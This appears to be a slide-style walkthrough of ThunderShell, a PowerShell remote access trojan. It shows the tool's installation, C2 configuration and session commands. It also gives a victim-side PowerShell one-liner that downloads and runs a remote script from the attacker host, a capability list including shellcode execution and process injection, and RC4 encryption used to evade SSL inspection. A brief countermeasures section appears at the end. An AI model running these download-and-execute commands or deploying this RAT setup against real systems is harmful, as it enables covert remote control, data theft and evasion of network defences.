



ThunderShell

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About ThunderShell

- ThunderShell is a Powershell based RAT that rely on HTTP requests to communicate
- All the network traffic is encrypted using a second layer of RC4 to avoid SSL interception and defeat network hooks



Requirements

- redis-server
- python-redis

```
apt install redis-server  
apt install python-redis
```

Demo configuration

- Attacker: Kali Linux 2017 64 bit (<https://www.kali.org/downloads/>)
- Victim: Windows 10 x64 Version 1703
- Powershell version: 5.1.15063.608



Installing ThunderShell

- Clone GitHub repo

```
root@kali2017:~# git clone https://github.com/Mr-Un1k0d3r/ThunderShell.git
Cloning into 'ThunderShell'...
remote: Counting objects: 196, done.
remote: Compressing objects: 100% (146/146), done.
remote: Total 196 (delta 120), reused 125 (delta 49), pack-reused 0
Receiving objects: 100% (196/196), 77.05 KiB | 394.00 KiB/s, done.
Resolving deltas: 100% (120/120), done.
root@kali2017:~# cd ThunderShell/
root@kali2017:~/ThunderShell# ls
bin  core  default.json  LICENSE.md  powershell  PS-RemoteShell.ps1  README.md  ThunderShell.py
```

Logs

- Every error, http requests and commands are logged in the logs folder

```
root@kali2017:~/ThunderShell/logs/01-10-2017# pwd
/root/ThunderShell/logs/01-10-2017
root@kali2017:~/ThunderShell/logs/01-10-2017# ls -alh
total 240K
drwxr-xr-x 2 root root 4.0K Oct  1 21:44 .
drwxr-xr-x 3 root root 4.0K Oct  1 21:44 ..
-rw-r--r-- 1 root root 125 Oct  1 21:44 event.log
-rw-r--r-- 1 root root 31K Oct  1 21:53 http.log
-rw-r--r-- 1 root root 187K Oct  1 21:53 shell_825dff2e-d5c6-45af-bd9b-fd07cfebb735.log
```

How ThunderShell works

- Once the PowerShell script is executed and HTTP request will be issued to the server
- The body of each POST request contains the RC4 encrypted communication. Why RC4 because it's strong enough to hide the traffic. The idea is to upload / download data over the network that cannot be inspected

How ThunderShell works

- The RAT support HTTPS but some security product may perform SSL interception and obtain visibility on the data leading to detection of malicious payload (PowerShell script, stager etc...). The RC4 encryption allows to communicate over the wire without leaking the payload

Using ThunderShell

- Attacker side > configuration file (default.json)

```
root@kali2017:~/ThunderShell# cat default.json
{
  "redis-host": "localhost",
  "redis-port": 6379,

  "http-host": "192.168.10.12",
  "http-port": 8080,
  "http-server": "Microsoft-IIS/7.5",

  "https-enabled": "off",
  "https-cert-path": "cert.pem",

  "encryption-key": "test",
  "max-output-timeout": 5
}
```

Using ThunderShell

- Attacker side > Listen on port 8080 (webserver)

```
root@kali2017:~/ThunderShell# python ThunderShell.py default.json
Thunder Shell 1.1 | Clients Server CLI
Mr.Un1k0d3r RingZer0 Team 2017
-----
(Main)>>> [+] Starting web server on 192.168.10.12 port 8080
```

Using ThunderShell

- Victim side (victim machine is already compromised by the attacker) > Run the following command

```
/* C:\WINDOWS\system32>powershell -exec bypass IEX (New-Object  
Net.WebClient).DownloadString('http://192.168.10.12/PS-RemoteShell.ps1'); PS-  
RemoteShell -ip 192.168.10.12 -port 8080 -Key test -Delay 2000 */
```

```
C:\WINDOWS\system32>powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.12/PS-RemoteShell.ps1');  
PS-RemoteShell -ip 192.168.10.12 -port 8080 -Key test -Delay 2000
```

Using ThunderShell

- Attacker side > victim machine connects back to the attacker

```
root@kali2017:~/ThunderShell# python ThunderShell.py default.json

Thunder Shell 1.1 | Clients Server CLI
Mr.Un1k0d3r RingZer0 Team 2017
-----

(Main)>>> [+] Starting web server on 192.168.10.12 port 8080

[+] Registering new shell x64 - 192.168.254.132:RTMA\Administrator
[+] New shell ID 2 GUID is 3ff5aed3-fa61-40b7-bba3-481f80a4803b
```

Using ThunderShell

- Attacker side > the help menu

```
(Main)>>> [+] Starting web server on 192.168.10.12 port 8080
[+] Registering new shell x64 - 192.168.254.132:RTMA\Administrator
[+] New shell ID 2 GUID is 3ff5aed3-fa61-40b7-bba3-481f80a4803b

[-] is not a valid command
(Main)>>> help
Help Menu
-----
list      args (full)      List all active shells
interact  args (id)        Interact with a session
show      args (error/http/event, count) Show error, http or event log (default number of rows 10)
kill      args (id)        Kill shell (clear db only)
exit                                           Exit the application
help                                           Show this help menu
```

Using ThunderShell

- Attacker side > list of active shells

```
(Main)>>> list
List of active shells
-----
1      x64 - 192.168.254.132:RTMA\Administrator
```

Using ThunderShell

- Attacker side > interact with the victim machine

```
(Main)>>> interact 1
(x64 - 192.168.254.132:RTMA\Administrator)>>> help
Shell Help Menu
-----
background          Return to the main console
refresh             Check for previous commands output
fetch               args (path/url, command) In memory execution of a script and execute a command
exec                args (path/url)          In memory execution of code (shellcode)
read                args (remote path)       Read a file on the remote host
upload              args (path/url, path)    Upload a file on the remote system
ps                  List processes
powerless           args (powershell)       Execute Powershell command without invoking Powershell
inject              args (pid, command)      Inject command into a target process (max length 4096)
alias               args (key, value)        Create an alias to avoid typing the same thing over and over
delay               args (milliseconds)      Update the callback delay
help                Show this help menu

List of built in aliases
-----
wmiexec             Remote-WmiExecute utility
searchevent         Search-EventForUser utility

List user defined aliases
-----
```


Countermeasures

- Block powershell.exe
- Analyze the network traffic (using a Network Traffic Analyzer device etc...) and look for old HTTP versions (version 1.0) and suspicious POST requests

```
POST /?e3f0afe1e-23ab-4d39-a430-cdf5dad4c2b HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 192.168.10.12:8080
Content-Length: 848
Expect: 100-continue
Connection: Keep-Alive

pmZJZ498GAiBKz8xdNwSqs7qkDyufGHjoQ9a7hBjaFp6K4p4RYtVCtQ+S5Wim4eSQTarmEZfnrFyke4fETSqV7tb1Q11rTdiW5ieV9q1jp7Y3WcisgdH3G96Gwm1DZ2NxsKZhhWw
+4uMegFyLw72l/dD/1QnRFGYNOIByKif1dpba4xmp6GVXDA1msu4veDj7T8183w7imeTuVvnjZ83LgqBdh6rjsX0jphSbJ
+dvsXk42qyQvxcOQIYH7X0ogwizjLQNu59rTj3FBtQvoJ5RGQOpXK7PTbMrRKuHPVEaZib+k/xuYD50YQRJZZQ03Cr4u9kg/
3NcZa9mBw0BHuxFoI1m58NjLxfqwmZspkOXpUPgdpg0GJBNAUNRs/aRHwBI3J+uKDRbR+Lib2Inoo0/
RTsfs4Cm4dkBRlvXoC4akGc8BgQRkojgn1XU01FrjzAutiarsFQ0BghsRv3C6umf+oHEGXvNG6Lv6bNuyH3HdZvsKcUunUlyqPpcVkJz33t/
vXh9eBPiVEx3bcnGd90wiIbpvQqs0asgXAI1L5uCAveHVQJmm4CfYcccA7dQgJISuLhsCrAwRxsktq+/D7urhpbk9S1b5xrkDzG9ZAJTnHerNwA2Grb78RHziUu2o3Ve
+r8v5KeNz0AHV8TWvVwIwIPu2c52B7JXqxdT5gHceqn4K60P2s4fxKaX9+jWUvW3N9ABZht2ld5DuLEakYG7UoJV4h3xjhy9fCq/
qvz7135E9kJfTbSMYAztZU50+7Xn8c1qjvKqr8taZaB/az6gPmq5m4Tu20aksHDA6qbIY1a30PjmZbUvT6qY5sQTDUE1/pd8
A=HTTP/1.0 200 OK

Server: Microsoft-IIS/7.5
Date: Mon, 02 Oct 2017 02:38:02 GMT
Content-Type: text/html

!Q==
```

References

- Kitploit
<http://www.kitploit.com/2017/09/thundershell-powershell-based-rat.html>
- Kali Linux
<https://www.kali.org/downloads/>
- RAT (Remote Access Trojan)
https://en.wikipedia.org/wiki/Remote_access_trojan